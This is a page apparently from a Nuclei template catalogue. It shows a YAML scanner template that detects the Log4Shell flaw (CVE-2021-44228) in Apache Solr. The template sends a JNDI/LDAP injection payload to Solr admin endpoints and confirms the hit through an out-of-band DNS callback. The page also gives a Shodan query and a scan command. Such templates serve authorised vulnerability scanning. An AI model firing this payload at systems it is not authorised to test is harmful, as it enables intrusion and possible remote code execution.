Skip to content
Nuclei Templates

Apache Solr 7+ - Remote Code Execution (Apache Log4j)

ID: apache-solr-log4j-rce

Severity: critical

Author: Evan Rubinstein,nvn1729,j4vaovo

Tags: vulhub,cve,solr,oast,log4j,cve2021,rce,apache,jndi,kev

Description

Section titled “Description”

Apache Log4j2 <=2.14.1 JNDI features used in configuration, log messages, and parameters do not protect against attacker controlled LDAP and other JNDI related endpoints. This vulnerability affects Solr 7+.

YAML Source

Section titled “YAML Source”
id: apache-solr-log4j-rce


info:
  name: Apache Solr 7+ - Remote Code Execution (Apache Log4j)
  author: Evan Rubinstein,nvn1729,j4vaovo
  severity: critical
  description: |
    Apache Log4j2 <=2.14.1 JNDI features used in configuration, log messages, and parameters do not protect against attacker controlled LDAP and other JNDI related endpoints. This vulnerability affects Solr 7+.
  reference:
    - https://solr.apache.org/security.html#apache-solr-affected-by-apache-log4j-cve-2021-44228
    - https://twitter.com/sirifu4k1/status/1470011568834424837
    - https://github.com/apache/solr/pull/454
    - https://logging.apache.org/log4j/2.x/security.html
    - https://nvd.nist.gov/vuln/detail/CVE-2021-44228
    - https://github.com/vulhub/vulhub/tree/master/log4j/CVE-2021-44228
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H
    cvss-score: 10
    cve-id: CVE-2021-44228
    cwe-id: CWE-77
    cpe: cpe:2.3:a:apache:solr:*:*:*:*:*:*:*:*
  metadata:
    verified: true
    max-request: 2
    shodan-query: http.html:"Apache Solr"
    product: solr
    vendor: apache
  tags: vulhub,cve,solr,oast,log4j,cve2021,rce,apache,jndi,kev
variables:
  rand1: '{{rand_int(111, 999)}}'
  rand2: '{{rand_int(111, 999)}}'


http:
  - raw:
      - |
        @timeout: 25s
        GET /solr/admin/{{endpoint}}?action=%24%7Bjndi%3Aldap%3A%2F%2F%24%7B%3A-{{rand1}}%7D%24%7B%3A-{{rand2}}%7D.%24%7BhostName%7D.uri.{{interactsh-url}}%2F%7D HTTP/1.1
        Host: {{Hostname}}


    payloads:
      endpoint:
        - "collections"
        - "cores"
    attack: clusterbomb


    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - 'org.apache.solr'


      - type: word
        part: interactsh_protocol # Confirms the DNS Interaction
        words:
          - "dns"


      - type: regex
        part: interactsh_request
        regex:
          - '\d{6}\.([a-zA-Z0-9\.\-]+)\.([a-z0-9]+)\.([a-z0-9]+)\.([a-z0-9]+)\.\w+'


    extractors:
      - type: kval
        kval:
          - interactsh_ip


      - type: regex
        part: interactsh_request
        group: 2
        regex:
          - '\d{6}\.([a-zA-Z0-9\.\-]+)\.([a-z0-9]+)\.([a-z0-9]+)\.([a-z0-9]+)\.\w+'


      - type: regex
        part: interactsh_request
        group: 1
        regex:
          - '\d{6}\.([a-zA-Z0-9\.\-]+)\.([a-z0-9]+)\.([a-z0-9]+)\.([a-z0-9]+)\.\w+'
# digest: 4a0a00473045022100f17f63b7df400478b4a9a6152ea46d53a62135ef39eef2070c62a9e6135a952f02204100a003563ca46a0efaeab85341e5cfed9105cc11684700842ce31a2501094f:922c64590222798bb761d5b6d8e72950

Guide to check the vulnerabilities

Section titled “Guide to check the vulnerabilities”

This template is used to detect vulnerabilities in web applications. It can be used with the Nuclei tool to scan for specific patterns or behaviors.

Terminal window
$ nuclei -u "URL" -t "http/vulnerabilities/apache/apache-solr-log4j-rce.yaml"

View on Github